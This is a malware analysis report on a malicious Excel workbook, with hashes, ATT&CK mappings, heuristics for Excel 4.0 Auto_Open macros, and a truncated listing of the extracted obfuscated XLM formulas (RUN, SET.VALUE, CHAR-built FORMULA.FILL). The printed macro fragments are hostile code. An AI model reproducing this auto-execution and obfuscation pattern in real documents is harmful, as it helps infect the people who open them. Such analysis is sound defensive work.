Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 8c6eec6a8ad7df36…

MALICIOUS

Office (OLE)

169.5 KB Created: 2020-05-13 12:31:22 Authoring application: Microsoft Excel First seen: 2020-09-15
MD5: 3620e74883cdf9e1916c4b124bbe2121 SHA-1: 39acc5e579e403cb5bac6b76b100e9af1c4e74c4 SHA-256: 8c6eec6a8ad7df3686e80688c792ce20ef1608a69bfdf1be75480f94a2f06330
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file contains Excel 4.0 macros, specifically an Auto_Open defined name, which is a critical finding. This indicates that the macro sheet is designed to execute automatically upon opening the workbook. The presence of dangerous formula APIs, including the RUN function, strongly suggests that the macro is intended to execute arbitrary commands, likely to download and run a second-stage payload.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 129004 bytes
SHA-256: 325545b9dba17e4347a5f07a3aa57e08c4470cdd9e3077b53e6ae20d8a08012e
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     14 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  Sheet
' 0018     28 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open hidden len=7 ptgRef3d  Sheet!DX13230 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' Sheet,Reference,Formula,Value
'  Sheet,CI20,"",-4.31034382758620715492
'  Sheet,FW54,"",83.10007812499999602096
'  Sheet,HE73,"",-2.22727272727272707087
'  Sheet,I121,"",0.01480263157894736760
'  Sheet,IU139,"",-185.00000000000000000000
'  Sheet,DW217,"",-2.16129032258064501804
'  Sheet,HT263,"",-244.00000000000000000000
'  Sheet,FR287,"",0.18250950570342205914
'  Sheet,CI288,"",236.75000000000000000000
'  Sheet,CJ337,"",-411.00000000000000000000
'  Sheet,CP368,"",592.00000000000000000000
'  Sheet,A415,"",-2.50000000000000000000
'  Sheet,FN471,"",-1.60396039603960405273
'  Sheet,IC505,"",0.11764705882352941013
'  Sheet,FH508,"",8.28676470588235325465
'  Sheet,II523,"",0.98136645962732915738
'  Sheet,GB544,"",212.00000000000000000000
'  Sheet,HX585,"",72.12500000000000000000
'  Sheet,GU612,"",-78.25000000000000000000
'  Sheet,BG622,"",74.87500000000000000000
'  Sheet,EX631,"",311.00000000000000000000
'  Sheet,R648,"",-90.66666666666667140362
'  Sheet,G710,"",-0.41358024691358025171
'  Sheet,EO753,"",8.41666666666666607455
'  Sheet,HA759,"",-209.00000000000000000000
'  Sheet,CZ832,"",-36.90001953125000255795
'  Sheet,FF851,"",0.09900990099009901457
'  Sheet,BK869,"",-0.19800000000000000933
'  Sheet,JM918,"",-180.75000000000000000000
'  Sheet,Z923,"",-586.00000000000000000000
'  Sheet,F929,"",72.87500000000000000000
'  Sheet,HH962,"",5.36734693877551016783
'  Sheet,GS971,"",-0.08087201125175809413
'  Sheet,GE1028,"",69.12500000000000000000
'  Sheet,IL1071,"",2.47149122807017551651
'  Sheet,JA1120,"",0.10344827586206896408
'  Sheet,FP1134,"",1.96341463414634143092
'  Sheet,BC1147,"",-0.26865671641791044610
'  Sheet,HE1157,"",-331.00000000000000000000
'  Sheet,JA1157,"",106.87500000000000000000
'  Sheet,JB1181,"SET.VALUE(HL61741,322/4)",""
'  Sheet,JB1182,RUN(FD39413),""
'  Sheet,EJ1286,"",186.00000000000000000000
'  Sheet,CP1360,"",-5.37634408602150504208
'  Sheet,DV1374,"",1.86379928315412191075
'  Sheet,A1385,"",-246.00000000000000000000
'  Sheet,DC1411,"",-6.10843373493975860811
'  Sheet,EM1418,"",199.75000000000000000000
'  Sheet,DK1428,"",0.01209677419354838676
'  Sheet,JB1502,"",5.38157894736842123962
'  Sheet,BS1524,"",-67.90000000000000568434
'  Sheet,DG1572,"",57.90003906249999943157
'  Sheet,IF1607,"",65.90000000000000568434
'  Sheet,BQ1637,"",-117.12500000000000000000
'  Sheet,BJ1639,"",0.72058823529411764053
'  Sheet,DS1640,"",295.00000000000000000000
'  Sheet,DZ1657,"",0.24183006535947712545
'  Sheet,DZ1660,"",30.90001953124999900524
'  Sheet,GE1668,"SET.VALUE(GD56692,31/10)",""
'  Sheet,GE1669,RUN(EK19385),""
'  Sheet,HQ1677,"",-328.00000000000000000000
'  Sheet,JO1685,"",0.26996197718631176343
'  Sheet,BX1697,"",-354.00000000000000000000
'  Sheet,DE1716,"",-302.00000000000000000000
'  Sheet,DG1735,"",12.50000000000000000000
'  Sheet,CY1744,"",344.00000000000000000000
'  Sheet,DM1759,"",165.75000000000000000000
'  Sheet,FD1799,"",17.10000000000000142109
'  Sheet,F1815,"",-2.35294117647058831366
'  Sheet,BM1835,"",0.56617647058823528106
'  Sheet,IM1874,"",-0.19600000000000000755
'  Sheet,GI1905,"",235.00000000000000000000
'  Sheet,BR1951,"",10.19999999999999928946
'  Sheet,GU2016,"",122.25000000000000000000
'  Sheet,EF2054,"",39.00000000000000000000
'  Sheet,GW2094,"",-292.00000000000000000000
'  Sheet,CY2097,"",0.15971606033717836159
'  Sheet,JC2100,"",-419.00000000000000000000
'  Sheet,H2102,"",-0.50617283950617286692
'  Sheet,BU2160,"SET.VALUE(JF9780,141-GET.CELL(17,EL41734))",""
'  Sheet,BU2161,GOTO(IP46101),""
'  Sheet,IP2202,"FORMULA.FILL(CHAR(EE63372*EF60239)&CHAR(JF9780-DD15616)&CHAR(ID63802/JL12135)&CHAR(JF9780-JE60994)&CHAR(JF9780-CI15309)&CHAR(HT4731
... (truncated)